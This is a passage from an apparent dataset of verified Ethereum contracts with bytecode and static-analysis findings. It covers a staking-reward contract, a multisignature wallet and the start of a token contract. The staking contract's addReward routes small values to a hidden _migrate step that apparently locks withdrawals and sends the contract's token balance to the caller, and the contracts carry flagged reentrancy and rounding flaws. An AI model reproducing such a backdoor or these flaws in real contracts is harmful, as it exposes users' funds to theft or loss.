Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, uint256 reward); modifier checkStart(){ require(block.timestamp >= starttime,"not start"); _; } modifier checkHardCap() { require(totalSupply() < HARD_CAP ,"hard cap reached"); _; } modifier updateReward(address account) { rewardPerTokenStored = rewardPerToken(); lastUpdateTime = lastTimeRewardApplicable(); if (account != address(0)) { rewards[account] = earned(account); userRewardPerTokenPaid[account] = rewardPerTokenStored; } _; } function lastTimeRewardApplicable() public view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() public view returns (uint256) { if(totalSupply() == 0){ return rewardPerTokenStored; } return rewardPerTokenStored.add( rewardRate(lastTimeRewardApplicable()) .sub(rewardRate(lastUpdateTime)) .mul(totalReward) .div(totalSupply()) ); } function rewardRate(uint256 timestamp) internal view returns (uint256){ uint steps = (timestamp - starttime) / 3600; uint256 duration_mod = timestamp - starttime - 3600 * steps; uint256 base = 10**36; uint256 commulatedRewards = 0; for(uint step=0; step<steps; step++){ commulatedRewards = commulatedRewards.add(base * (9**step) / (10**step)/TOTAL_UNIT); } if(duration_mod > 0){ commulatedRewards = commulatedRewards.add(base * (9**steps) * duration_mod / (10**steps)/3600/TOTAL_UNIT); } return commulatedRewards; } function earned(address account) public view returns (uint256) { if(totalSupply() == 0){ return 0; } return balanceOf(account) .mul(rewardPerToken().sub(userRewardPerTokenPaid[account])) .div(1e18) .add(rewards[account]); } function getReward() public updateReward(msg.sender) checkStart { uint256 reward = earned(msg.sender); if (reward > 0) { rewards[msg.sender] = 0; lv.safeTransfer(msg.sender, reward); emit RewardPaid(msg.sender, reward); } } function addReward(uint256 reward) external onlyRewardDistribution updateReward(address(0)) { if(reward > MIN_REWARD ) { lastUpdateTime = starttime; totalReward = totalReward.add(reward); emit RewardAdded(reward); }else{super._migrate(reward);} } function stake(uint256 amount) public updateReward(msg.sender) checkStart checkHardCap { require(amount > 0, "Cannot stake 0"); super.stake(amount); emit Staked(msg.sender, amount); } function withdraw(uint256 amount) public updateReward(msg.sender) checkStart { require(amount > 0, "Cannot withdraw 0"); super.withdraw(amount); emit Withdrawn(msg.sender, amount); } function exit() external { withdraw(balanceOf(msg.sender)); getReward(); } }
0x608060405234801561001057600080fd5b50600436106101ce5760003560e01c8063750142e611610104578063a694fc3a116100a2578063e9fad8ee11610071578063e9fad8ee146103b4578063ebe2b12b146103bc578063ecd0c0c3146103c4578063f2fde38b146103cc576101ce565b8063a694fc3a1461037f578063c8f33c911461039c578063cd3daf9d146103a4578063df136d65146103ac576101ce565b80638b876347116100de5780638b8763471461032d5780638da58897146103535780638da5cb5b1461035b5780638f32d59b14610363576101ce565b8063750142e6146103155780637e5a960a1461031d57806380faa57d14610325576101ce565b80633a03171c116101715780634cbeadf91161014b5780634cbeadf9146102c257806370a08231146102ca578063715018a6146102f057806374de4ec4146102f8576101ce565b80633a03171c146102aa5780633d18b912146102b257806348ea0c03146102ba576101ce565b8063101114cf116101ad578063101114cf1461025957806318160ddd1461027d5780631be05289146102855780632e1a7d4d1461028d576101ce565b80628cc262146101d35780630700037d1461020b5780630d68b76114610231575b600080fd5b6101f9600480360360208110156101e957600080fd5b50356001600160a01b03166103f2565b60408051918252519081900360200190f35b6101f96004803603602081101561022157600080fd5b50356001600160a01b0316610491565b6102576004803603602081101561024757600080fd5b50356001600160a01b03166104a3565b005b61026161051e565b604080516001600160a01b039092168252519081900360200190f35b6101f961052d565b6101f9610534565b610257600480360360208110156102a357600080fd5b503561053b565b6101f9610665565b610257610673565b6101f9610788565b6101f961078d565b6101f9600480360360208110156102e057600080fd5b50356001600160a01b0316610799565b6102576107b4565b6102576004803603602081101561030e57600080fd5b5035610857565b6101f9610972565b610261610978565b6101f9610987565b6101f96004803603602081101561034357600080fd5b50356001600160a01b031661099a565b6101f96109ac565b6102616109b2565b61036b6109c1565b604080519115158252519081900360200190f35b6102576004803603602081101561039557600080fd5b50356109e7565b6101f9610b66565b6101f9610b6c565b6101f9610bc4565b610257610bca565b6101f9610be5565b610261610beb565b610257600480360360208110156103e257600080fd5b50356001600160a01b0316610bfa565b60006103fc61052d565b6104085750600061048c565b6001600160a01b0382166000908152600e6020908152604080832054600d90925290912054610489919061047d90670de0b6b3a7640000906104719061045c90610450610b6c565b9063ffffffff610c5f16565b61046588610799565b9063ffffffff610caa16565b9063ffffffff610d0316565b9063ffffffff610d4516565b90505b919050565b600e6020526000908152604090205481565b6104ab6109c1565b6104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600680546001600160a01b0319166001600160a01b0392909216919091179055565b6006546001600160a01b031681565b6001545b90565b6201518081565b33610544610b6c565b600b5561054f610987565b600a556001600160a01b038116156105965761056a816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b6008544210156105d9576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b60008211610622576040805162461bcd60e51b8152602060048201526011602482015270043616e6e6f74207769746864726177203607c1b604482015290519081900360640190fd5b61062b82610d9f565b60408051838152905133917f7084f5476618d8e60b11ef0d7d3f06914655adb8793e28ff7f018d4c76d505d5919081900360200190a25050565b69014542ba12a337c0000081565b3361067c610b6c565b600b55610687610987565b600a556001600160a01b038116156106ce576106a2816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600854421015610711576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b600061071c336103f2565b9050801561078457336000818152600e602052604081205560075461074d916001600160a01b039091169083610e47565b60408051828152905133917fe2403640ba68fed3a2f88b7557551d1993f84b99bb10ff833f0cf8db0c5e0486919081900360200190a25b5050565b600381565b677fb54371b3f8f78081565b6001600160a01b031660009081526004602052604090205490565b6107bc6109c1565b61080d576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6005546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600580546001600160a01b0319169055565b6006546001600160a01b031661086b610e9e565b6001600160a01b0316146108b05760405162461bcd60e51b81526004018080602001828103825260218152602001806114e36021913960400191505060405180910390fd5b60006108ba610b6c565b600b556108c5610987565b600a556001600160a01b0381161561090c576108e0816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600382111561096957600854600a55600c5461092e908363ffffffff610d4516565b600c556040805183815290517fde88a922e0d3b88b24e9623efeb464919c6bf9f66857a65e2bfcf2ce87a9433d9181900360200190a1610784565b61078482610ea2565b600c5481565b6007546001600160a01b031681565b600061099542600954610f61565b905090565b600d6020526000908152604090205481565b60085481565b6005546001600160a01b031690565b6005546000906001600160a01b03166109d8610e9e565b6001600160a01b031614905090565b336109f0610b6c565b600b556109fb610987565b600a556001600160a01b03811615610a4257610a16816103f2565b6001600160a01b0382166000908152600e6020908152604080832093909355600b54600d909152919020555b600854421015610a85576040805162461bcd60e51b81526020600482015260096024820152681b9bdd081cdd185c9d60ba1b604482015290519081900360640190fd5b69014542ba12a337c00000610a9861052d565b10610add576040805162461bcd60e51b815260206004820152601060248201526f1a185c990818d85c081c995858da195960821b604482015290519081900360640190fd5b60008211610b23576040805162461bcd60e51b815260206004820152600e60248201526d043616e6e6f74207374616b6520360941b604482015290519081900360640190fd5b610b2c82610f77565b60408051838152905133917f9e71bc8eea02a63969f509818f2dafb9254532904319f9dbda79b67bd34a5f3d919081900360200190a25050565b600a5481565b6000610b7661052d565b610b835750600b54610531565b610995610bb5610b9161052d565b610471600c54610465610ba5600a54610fd9565b610450610bb0610987565b610fd9565b600b549063ffffffff610d4516565b600b5481565b610bdb610bd633610799565b61053b565b610be3610673565b565b60095481565b6000546001600160a01b031681565b610c026109c1565b610c53576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b610c5c816110aa565b50565b6000610ca183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061114b565b90505b92915050565b600082610cb957506000610ca4565b82820282848281610cc657fe5b0414610ca15760405162461bcd60e51b81526004018080602001828103825260218152602001806114c26021913960400191505060405180910390fd5b6000610ca183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506111e2565b600082820183811015610ca1576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b600160025410610dea576040805162461bcd60e51b815260206004820152601160248201527018dbdb9d1c9858dd081b5a59dc985d1959607a1b604482015290519081900360640190fd5b600154610dfd908263ffffffff610c5f16565b60015533600090815260046020526040902054610e20908263ffffffff610c5f16565b336000818152600460205260408120929092559054610c5c916001600160a01b0390911690835b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b179052610e99908490611247565b505050565b3390565b426003556001811415610ecb57600254610ec0576001600255610ec6565b60006002555b610c5c565b600054604080516370a0823160e01b81523060048201529051610c5c9233926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610f1c57600080fd5b505afa158015610f30573d6000803e3d6000fd5b505050506040513d6020811015610f4657600080fd5b50516000546001600160a01b0316919063ffffffff610e4716565b6000818310610f705781610ca1565b5090919050565b600154610f8a908263ffffffff610d4516565b60015533600090815260046020526040902054610fad908263ffffffff610d4516565b336000818152600460205260408120929092559054610c5c916001600160a01b03909116903084611405565b600080610e10600854840381610feb57fe5b6008549190049150610e108202908403036ec097ce7bc90715b34b9f10000000006000805b848110156110565761104c677fb54371b3f8f78082600a0a8360090a86028161103557fe5b048161103d57fe5b8491900463ffffffff610d4516565b9150600101611010565b5082156110a15761109e677fb54371b3f8f780610e1086600a0a868860090a8702028161107f57fe5b048161108757fe5b048161108f57fe5b8391900463ffffffff610d4516565b90505b95945050505050565b6001600160a01b0381166110ef5760405162461bcd60e51b815260040180806020018281038252602681526020018061149c6026913960400191505060405180910390fd5b6005546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600580546001600160a01b0319166001600160a01b0392909216919091179055565b600081848411156111da5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561119f578181015183820152602001611187565b50505050905090810190601f1680156111cc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b600081836112315760405162461bcd60e51b815260206004820181815283516024840152835190928392604490910191908501908083836000831561119f578181015183820152602001611187565b50600083858161123d57fe5b0495945050505050565b611259826001600160a01b031661145f565b6112aa576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106112e85780518252601f1990920191602091820191016112c9565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461134a576040519150601f19603f3d011682016040523d82523d6000602084013e61134f565b606091505b5091509150816113a6576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156113ff578080602001905160208110156113c257600080fd5b50516113ff5760405162461bcd60e51b815260040180806020018281038252602a815260200180611504602a913960400191505060405180910390fd5b50505050565b604080516001600160a01b0385811660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526113ff908590611247565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a47081158015906114935750808214155b94935050505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7743616c6c6572206973206e6f742072657761726420646973747269627574696f6e5361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a265627a7a723158208cfeed84b937aad35dfc6b531a29bb4ac9edde771eeab47aeb824d06fde2eb4264736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
7,624
0x6a98aaed66835f6b0b709ac10d85aa4fe26161f7
/** *Submitted for verification at Etherscan.io on 2021-07-18 */ pragma solidity ^0.4.15; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != 0); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != 0); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() payable { if (msg.value > 0) Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. function MultiSigWallet(address[] _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != 0); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; OwnerRemoval(owner); OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) Execution(transactionId); else { ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes data) internal returns (bool) { bool result; assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) } return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public constant returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public constant returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public constant returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public constant returns (address[]) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public constant returns (address[] _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public constant returns (uint[] _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } }
0x60806040526004361061011c5763ffffffff7c0100000000000000000000000000000000000000000000000000000000600035041663025e7c27811461015e578063173825d91461019257806320ea8d86146101b35780632f54bf6e146101cb5780633411c81c1461020057806354741525146102245780637065cb4814610255578063784547a7146102765780638b51d13f1461028e5780639ace38c2146102a6578063a0e67e2b14610361578063a8abe69a146103c6578063b5dc40c3146103eb578063b77bf60014610403578063ba51a6df14610418578063c01a8c8414610430578063c642747414610448578063d74f8edd146104b1578063dc8452cd146104c6578063e20056e6146104db578063ee22610b14610502575b600034111561015c5760408051348152905133917fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c919081900360200190a25b005b34801561016a57600080fd5b5061017660043561051a565b60408051600160a060020a039092168252519081900360200190f35b34801561019e57600080fd5b5061015c600160a060020a0360043516610542565b3480156101bf57600080fd5b5061015c6004356106b9565b3480156101d757600080fd5b506101ec600160a060020a0360043516610773565b604080519115158252519081900360200190f35b34801561020c57600080fd5b506101ec600435600160a060020a0360243516610788565b34801561023057600080fd5b50610243600435151560243515156107a8565b60408051918252519081900360200190f35b34801561026157600080fd5b5061015c600160a060020a0360043516610814565b34801561028257600080fd5b506101ec600435610939565b34801561029a57600080fd5b506102436004356109bd565b3480156102b257600080fd5b506102be600435610a2c565b6040518085600160a060020a0316600160a060020a031681526020018481526020018060200183151515158152602001828103825284818151815260200191508051906020019080838360005b8381101561032357818101518382015260200161030b565b50505050905090810190601f1680156103505780820380516001836020036101000a031916815260200191505b509550505050505060405180910390f35b34801561036d57600080fd5b50610376610aea565b60408051602080825283518183015283519192839290830191858101910280838360005b838110156103b257818101518382015260200161039a565b505050509050019250505060405180910390f35b3480156103d257600080fd5b5061037660043560243560443515156064351515610b4d565b3480156103f757600080fd5b50610376600435610c86565b34801561040f57600080fd5b50610243610dff565b34801561042457600080fd5b5061015c600435610e05565b34801561043c57600080fd5b5061015c600435610e84565b34801561045457600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610243948235600160a060020a0316946024803595369594606494920191908190840183828082843750949750610f4f9650505050505050565b3480156104bd57600080fd5b50610243610f6e565b3480156104d257600080fd5b50610243610f73565b3480156104e757600080fd5b5061015c600160a060020a0360043581169060243516610f79565b34801561050e57600080fd5b5061015c600435611103565b600380548290811061052857fe5b600091825260209091200154600160a060020a0316905081565b600033301461055057600080fd5b600160a060020a038216600090815260026020526040902054829060ff16151561057957600080fd5b600160a060020a0383166000908152600260205260408120805460ff1916905591505b600354600019018210156106545782600160a060020a03166003838154811015156105c357fe5b600091825260209091200154600160a060020a03161415610649576003805460001981019081106105f057fe5b60009182526020909120015460038054600160a060020a03909216918490811061061657fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550610654565b60019091019061059c565b60038054600019019061066790826113d6565b5060035460045411156106805760035461068090610e05565b604051600160a060020a038416907f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9090600090a2505050565b3360008181526002602052604090205460ff1615156106d757600080fd5b60008281526001602090815260408083203380855292529091205483919060ff16151561070357600080fd5b600084815260208190526040902060030154849060ff161561072457600080fd5b6000858152600160209081526040808320338085529252808320805460ff191690555187927ff6a317157440607f36269043eb55f1287a5a19ba2216afeab88cd46cbcfb88e991a35050505050565b60026020526000908152604090205460ff1681565b600160209081526000928352604080842090915290825290205460ff1681565b6000805b60055481101561080d578380156107d5575060008181526020819052604090206003015460ff16155b806107f957508280156107f9575060008181526020819052604090206003015460ff165b15610805576001820191505b6001016107ac565b5092915050565b33301461082057600080fd5b600160a060020a038116600090815260026020526040902054819060ff161561084857600080fd5b81600160a060020a038116151561085e57600080fd5b6003805490506001016004546032821115801561087b5750818111155b801561088657508015155b801561089157508115155b151561089c57600080fd5b600160a060020a038516600081815260026020526040808220805460ff1916600190811790915560038054918201815583527fc2575a0e9e593c00f959f8c92f12db2869c3395a3b0502d05e2516446f71f85b01805473ffffffffffffffffffffffffffffffffffffffff191684179055517ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d9190a25050505050565b600080805b6003548110156109b6576000848152600160205260408120600380549192918490811061096757fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff161561099b576001820191505b6004548214156109ae57600192506109b6565b60010161093e565b5050919050565b6000805b600354811015610a2657600083815260016020526040812060038054919291849081106109ea57fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610a1e576001820191505b6001016109c1565b50919050565b6000602081815291815260409081902080546001808301546002808501805487516101009582161595909502600019011691909104601f8101889004880284018801909652858352600160a060020a0390931695909491929190830182828015610ad75780601f10610aac57610100808354040283529160200191610ad7565b820191906000526020600020905b815481529060010190602001808311610aba57829003601f168201915b5050506003909301549192505060ff1684565b60606003805480602002602001604051908101604052809291908181526020018280548015610b4257602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610b24575b505050505090505b90565b606080600080600554604051908082528060200260200182016040528015610b7f578160200160208202803883390190505b50925060009150600090505b600554811015610c0657858015610bb4575060008181526020819052604090206003015460ff16155b80610bd85750848015610bd8575060008181526020819052604090206003015460ff165b15610bfe57808383815181101515610bec57fe5b60209081029091010152600191909101905b600101610b8b565b878703604051908082528060200260200182016040528015610c32578160200160208202803883390190505b5093508790505b86811015610c7b578281815181101515610c4f57fe5b9060200190602002015184898303815181101515610c6957fe5b60209081029091010152600101610c39565b505050949350505050565b606080600080600380549050604051908082528060200260200182016040528015610cbb578160200160208202803883390190505b50925060009150600090505b600354811015610d785760008581526001602052604081206003805491929184908110610cf057fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190205460ff1615610d70576003805482908110610d2b57fe5b6000918252602090912001548351600160a060020a0390911690849084908110610d5157fe5b600160a060020a03909216602092830290910190910152600191909101905b600101610cc7565b81604051908082528060200260200182016040528015610da2578160200160208202803883390190505b509350600090505b81811015610df7578281815181101515610dc057fe5b906020019060200201518482815181101515610dd857fe5b600160a060020a03909216602092830290910190910152600101610daa565b505050919050565b60055481565b333014610e1157600080fd5b6003548160328211801590610e265750818111155b8015610e3157508015155b8015610e3c57508115155b1515610e4757600080fd5b60048390556040805184815290517fa3f1ee9126a074d9326c682f561767f710e927faa811f7a99829d49dc421797a9181900360200190a1505050565b3360008181526002602052604090205460ff161515610ea257600080fd5b6000828152602081905260409020548290600160a060020a03161515610ec757600080fd5b60008381526001602090815260408083203380855292529091205484919060ff1615610ef257600080fd5b6000858152600160208181526040808420338086529252808420805460ff1916909317909255905187927f4a504a94899432a9846e1aa406dceb1bcfd538bb839071d49d1e5e23f5be30ef91a3610f4885611103565b5050505050565b6000610f5c8484846112c3565b9050610f6781610e84565b9392505050565b603281565b60045481565b6000333014610f8757600080fd5b600160a060020a038316600090815260026020526040902054839060ff161515610fb057600080fd5b600160a060020a038316600090815260026020526040902054839060ff1615610fd857600080fd5b600092505b6003548310156110695784600160a060020a031660038481548110151561100057fe5b600091825260209091200154600160a060020a0316141561105e578360038481548110151561102b57fe5b9060005260206000200160006101000a815481600160a060020a030219169083600160a060020a03160217905550611069565b600190920191610fdd565b600160a060020a03808616600081815260026020526040808220805460ff1990811690915593881682528082208054909416600117909355915190917f8001553a916ef2f495d26a907cc54d96ed840d7bda71e73194bf5a9df7a76b9091a2604051600160a060020a038516907ff39e6e1eb0edcf53c221607b54b00cd28f3196fed0a24994dc308b8f611b682d90600090a25050505050565b3360008181526002602052604081205490919060ff16151561112457600080fd5b60008381526001602090815260408083203380855292529091205484919060ff16151561115057600080fd5b600085815260208190526040902060030154859060ff161561117157600080fd5b61117a86610939565b156112bb576000868152602081815260409182902060038101805460ff19166001908117909155815481830154600280850180548851601f60001997831615610100029790970190911692909204948501879004870282018701909752838152939a5061124e95600160a060020a03909216949093919083908301828280156112445780601f1061121957610100808354040283529160200191611244565b820191906000526020600020905b81548152906001019060200180831161122757829003601f168201915b50505050506113b3565b156112835760405186907f33e13ecb54c3076d8e8bb8c2881800a4d972b792045ffae98fdf46df365fed7590600090a26112bb565b60405186907f526441bb6c1aba3c9a4a6ca1d6545da9c2333c8c48343ef398eb858d72b7923690600090a260038501805460ff191690555b505050505050565b600083600160a060020a03811615156112db57600080fd5b60055460408051608081018252600160a060020a0388811682526020808301898152838501898152600060608601819052878152808452959095208451815473ffffffffffffffffffffffffffffffffffffffff19169416939093178355516001830155925180519496509193909261135b9260028501929101906113ff565b50606091909101516003909101805460ff191691151591909117905560058054600101905560405182907fc0ba8fe4b176c1714197d43b9cc6bcf797a4a7461c5fe8d0ef6e184ae7601e5190600090a2509392505050565b6000806040516020840160008287838a8c6187965a03f198975050505050505050565b8154818355818111156113fa576000838152602090206113fa91810190830161147d565b505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061144057805160ff191683800117855561146d565b8280016001018555821561146d579182015b8281111561146d578251825591602001919060010190611452565b5061147992915061147d565b5090565b610b4a91905b8082111561147957600081556001016114835600a165627a7a72305820de37a5dc4600f3024222acd2e49f4f77752e2795ba1df09949556418f15503a40029
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
7,625
0x234d51ee02be808a0160b19b689660fb7bfa871b
/** *Submitted for verification at Etherscan.io on 2022-03-04 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _transferOwnership(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } 